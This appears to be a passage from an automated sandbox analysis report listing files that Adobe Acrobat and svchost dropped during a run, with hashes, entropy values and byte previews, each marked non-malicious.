Preview:	}..... .......A.......X\...;...{......................0.!..........{A......\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................L.....\|...........................\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07660416236845699
Encrypted:	false
SSDEEP:	3:WVmll8YeZaau5ejjn13a/R3O/lillcVO/lnlZMxZNQl:Pl8zZalAj53qhO/IOewk
MD5:	CF41D4A843629EF13561BFB56C19FF3A
SHA1:	8095B3BA7055D9AAFEB6EB6DDA7F8BBF947EBEA1
SHA-256:	CEA9A4DF744078081C2C7E26782A82F81CD6A410715EA223E253B90884E5CE8A
SHA-512:	599AFB9CB6ACC13EEAFD41B03BCEB277E8D9C0199221ECD04F99FF38154C2128618EC1F52D7BF6176EE9E972D8AEBBE0657ABD237815C52A3432C72488405A57
Malicious:	false
Preview:	.A.......................................;...{.......\|.......{A..............{A......{A..........{A].........................\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.242171722515544
Encrypted:	false
SSDEEP:	6:7fATAN4q2Pwkn2nKuAl9OmbnIFUt8OfAzJZmw+OfAzDkwOwkn2nKuAl9OmbjLJ:7ey4vYfHAahFUt8OwJ/+OwD5JfHAaSJ
MD5:	F2612615719D3F9F469600ABFCDD4A50
SHA1:	1365819537726AF1808DB9BD11F5B2E4A0239FEE
SHA-256:	ED5468D3FCA696ACC0A4A78BF9B098359C6FF36F3770960B7137AE018158A374
SHA-512:	4750F10E18B5F9BDCD23E46AB566B297CB6E9D5A95A3F27DB5DBC7A621DC92C13F30B5141441C549E9FCD0C114D77B9D995BA27AA684CC72B1432AC566ECE649
Malicious:	false
Preview:	2024/12/16-03:14:17.806 1d64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/16-03:14:17.809 1d64 Recovering log #3.2024/12/16-03:14:17.809 1d64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.242171722515544
Encrypted:	false
SSDEEP:	6:7fATAN4q2Pwkn2nKuAl9OmbnIFUt8OfAzJZmw+OfAzDkwOwkn2nKuAl9OmbjLJ:7ey4vYfHAahFUt8OwJ/+OwD5JfHAaSJ
MD5:	F2612615719D3F9F469600ABFCDD4A50
SHA1:	1365819537726AF1808DB9BD11F5B2E4A0239FEE
SHA-256:	ED5468D3FCA696ACC0A4A78BF9B098359C6FF36F3770960B7137AE018158A374
SHA-512:	4750F10E18B5F9BDCD23E46AB566B297CB6E9D5A95A3F27DB5DBC7A621DC92C13F30B5141441C549E9FCD0C114D77B9D995BA27AA684CC72B1432AC566ECE649
Malicious:	false
Preview:	2024/12/16-03:14:17.806 1d64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/16-03:14:17.809 1d64 Recovering log #3.2024/12/16-03:14:17.809 1d64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193898179571109
Encrypted:	false
SSDEEP:	6:7fIVFUnVq2Pwkn2nKuAl9Ombzo2jMGIFUt8OfI1gZmw+OfIXFIIkwOwkn2nKuAlx:7AQvYfHAa8uFUt8O9/+OiN5JfHAa8RJ
MD5:	059432123D68F4ED74D386A801F1F172
SHA1:	1FC8D17B269F55EB99DF87231822AE28E36D1CCF
SHA-256:	05E03CE1974D42474F215D03BFAE05B0242283534BC1923FDDBD45330353639C
SHA-512:	CA386BE5C4D64B04DABC3996BFD52B183A06F9A28B0988EE4FB7C9F5685775FCACDF1F317D536AEDC407846F6811D40FE0F01F1D8CDB9CCB239C454DE45B8005
Malicious:	false
Preview:	2024/12/16-03:14:17.880 1dc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/16-03:14:17.881 1dc4 Recovering log #3.2024/12/16-03:14:17.882 1dc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193898179571109
Encrypted:	false
SSDEEP:	6:7fIVFUnVq2Pwkn2nKuAl9Ombzo2jMGIFUt8OfI1gZmw+OfIXFIIkwOwkn2nKuAlx:7AQvYfHAa8uFUt8O9/+OiN5JfHAa8RJ
MD5:	059432123D68F4ED74D386A801F1F172
SHA1:	1FC8D17B269F55EB99DF87231822AE28E36D1CCF
SHA-256:	05E03CE1974D42474F215D03BFAE05B0242283534BC1923FDDBD45330353639C
SHA-512:	CA386BE5C4D64B04DABC3996BFD52B183A06F9A28B0988EE4FB7C9F5685775FCACDF1F317D536AEDC407846F6811D40FE0F01F1D8CDB9CCB239C454DE45B8005
Malicious:	false
Preview:	2024/12/16-03:14:17.880 1dc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/16-03:14:17.881 1dc4 Recovering log #3.2024/12/16-03:14:17.882 1dc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0e591b70-9ff5-465b-800f-f8c08d6ff303.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\947bb17c-86aa-4f4e-af45-845f43bb2c55.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2J2sBdOg2Hqcaq3QYiubInP7E4TX:Y2sRdsRdMHF3QYhbG7n7
MD5:	1A9602AEF82211184C6F7A97B7A4DD59
SHA1:	43934F011A32BB5EBE9011F024242AB8DE4E91B3
SHA-256:	90BA6F883294453BCA8E2A83527EB1D1900DA018AC171FAFFA32E61676A1EA03
SHA-512:	14F33274D656657341A084EC8375F9ED32A0DA59FA3632F37CE902E3649856CFB40F6FBA05CE44BA481B4FD62F1D1702F7672B6B3651463C41F0DA56BD274BCF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378896870036329","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":643931},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF63d6b7.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.257796598422867
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7SacFHYo:etJCV4FiN/jTN/2r8Mta02fEhgO73goM
MD5:	3E4E7E2EE6412F80F2C9DB77BF4CE7A4
SHA1:	F3795CB37D7ACD10B3B093BC9E0872CA3C9B5BA6
SHA-256:	8C6C5B2F83281D2722C4C3DBE96AAD8A4D216E830AA4B55362D4FD9E86DA72C8
SHA-512:	403AEE99A54C235919B8C8B6DB8D804C214FD4F4FAA8358E289E4DEE7B9972786C40DC9B85452A2D546CBFEE32070FBE3AF649D29B47C3840CC363D3FB13DF27
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.162375983483245
Encrypted:	false
SSDEEP:	6:7fGw0Vq2Pwkn2nKuAl9OmbzNMxIFUt8OfogZmw+OfoIkwOwkn2nKuAl9OmbzNMFd:7JMvYfHAa8jFUt8O5/+OT5JfHAa84J
MD5:	8F08DF12F67F31507A7017098EAEC8A8
SHA1:	86D9F5D5B785F2AE25920DFE8BBB83151E8D6E12
SHA-256:	68D23BEB8723BB4A5163F37D899D1088BC82A6338D6A58C4334253AAB3C3EA02
SHA-512:	CBC056C776C2C19154F7BFFFBF9B0D1B4E4CAFCEBAF591D4850F90A98F7363E6B98281373CFCF86A5FD8599B354F711BDF4158FFBD70C3F5815EE28DBFCA1D00
Malicious:	false
Preview:	2024/12/16-03:14:18.026 1dc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/16-03:14:18.042 1dc4 Recovering log #3.2024/12/16-03:14:18.042 1dc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.162375983483245
Encrypted:	false
SSDEEP:	6:7fGw0Vq2Pwkn2nKuAl9OmbzNMxIFUt8OfogZmw+OfoIkwOwkn2nKuAl9OmbzNMFd:7JMvYfHAa8jFUt8O5/+OT5JfHAa84J
MD5:	8F08DF12F67F31507A7017098EAEC8A8
SHA1:	86D9F5D5B785F2AE25920DFE8BBB83151E8D6E12
SHA-256:	68D23BEB8723BB4A5163F37D899D1088BC82A6338D6A58C4334253AAB3C3EA02
SHA-512:	CBC056C776C2C19154F7BFFFBF9B0D1B4E4CAFCEBAF591D4850F90A98F7363E6B98281373CFCF86A5FD8599B354F711BDF4158FFBD70C3F5815EE28DBFCA1D00
Malicious:	false
Preview:	2024/12/16-03:14:18.026 1dc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/16-03:14:18.042 1dc4 Recovering log #3.2024/12/16-03:14:18.042 1dc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241216081423Z-193.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.5660255405159125
Encrypted:	false
SSDEEP:	384:CqiWecVTs1o+o6DX7B8wOCknAhhhMCc8opQChqlohhhhhhhhhhhhhhhhxhhjhhhw:CqiWecVg1o+fDX7rknAhhhMCzo5hqlV
MD5:	B34ACB9DC146C155645C4C9A83E5E364
SHA1:	B14949991256F63C163946B479BB9BD511536472
SHA-256:	840AD703F8094E492DDC8601B3FE979888A767C6FEF10B311F1DACCD7957C531
SHA-512:	F14C81FC286431BB870A142B6D4652BA617742D965BCE96A7E455C67978C0FE3D5DFD21C660F5B276FA3390D5977A4DC5E2170CBB1B991AAC45737E326291CFF
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445125131330948
Encrypted:	false
SSDEEP:	384:yezci5t4iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rfs3OazzU89UTTgUL
MD5:	D08F7154D576A630AE951990B2BFF846
SHA1:	C1BFAF9ED383E501B1001F1E3E7D9949522230D5
SHA-256:	8BD275F6D390FE8DC864554877DAC4457927214C94DBF037FBC85D8103465A93
SHA-512:	4441267BCFBD115F6F04D6ADED94962C36D1E001174FB54645FB31F38EDC3BEEFA159B358694C802A81873C59C62B8F7FCF9110229E5F807DE616BD2F1494428
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.777431808330045
Encrypted:	false
SSDEEP:	48:7MOup/E2ioyVqioy9oWoy1Cwoy1GKOioy1noy1AYoy1Wioy1hioybioyMoy1noyl:7FupjuqF5XKQ1fb9IVXEBodRBk3
MD5:	1F00E5254221DB9B6D159D3B7A97B7B8
SHA1:	1741FC42BCA4260C3B7D6EBBDD9D3FFE31D34DE2
SHA-256:	9DC64C9948373DE5DF802787E76DE210EF1C78ED4D49B72DFCCC4797E4E0B627
SHA-512:	C3D1E232FB18951FF95A38025BB96D7D29DB65D802DFF0B789417D91DB3AF549A4BEBB12487D257C6EF43D5FA0A7CE10E1ED9921A2E0E275AC47F1E0B7EFDA92
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7464849065063075
Encrypted:	false
SSDEEP:	3:kkFklnHM1kVXfllXlE/HT8k7svNNX8RolJuRdxLlGB9lQRYwpDdt:kK319T8ycNMa8RdWBwRd
MD5:	8E41CBDB5521F3921860F76DEAD5D6FC
SHA1:	6AA8CB127FFEAD6F53CEF9997E13C9C69FAFBD48
SHA-256:	F7B8C2C64A69069E59EB6F2FA80695F82B8FDE2E59456EAA25E1190ABF5A98F1
SHA-512:	1444908DFA4C9B7C10371868E2338B3D72625F8F00634C8A20F784A454955DD0CFB89B1440CAA75856C53DB1A9A8C995F75820DC102FF234293401396D114A43
Malicious:	false
Preview:	p...... .........bb..O..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7280

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat 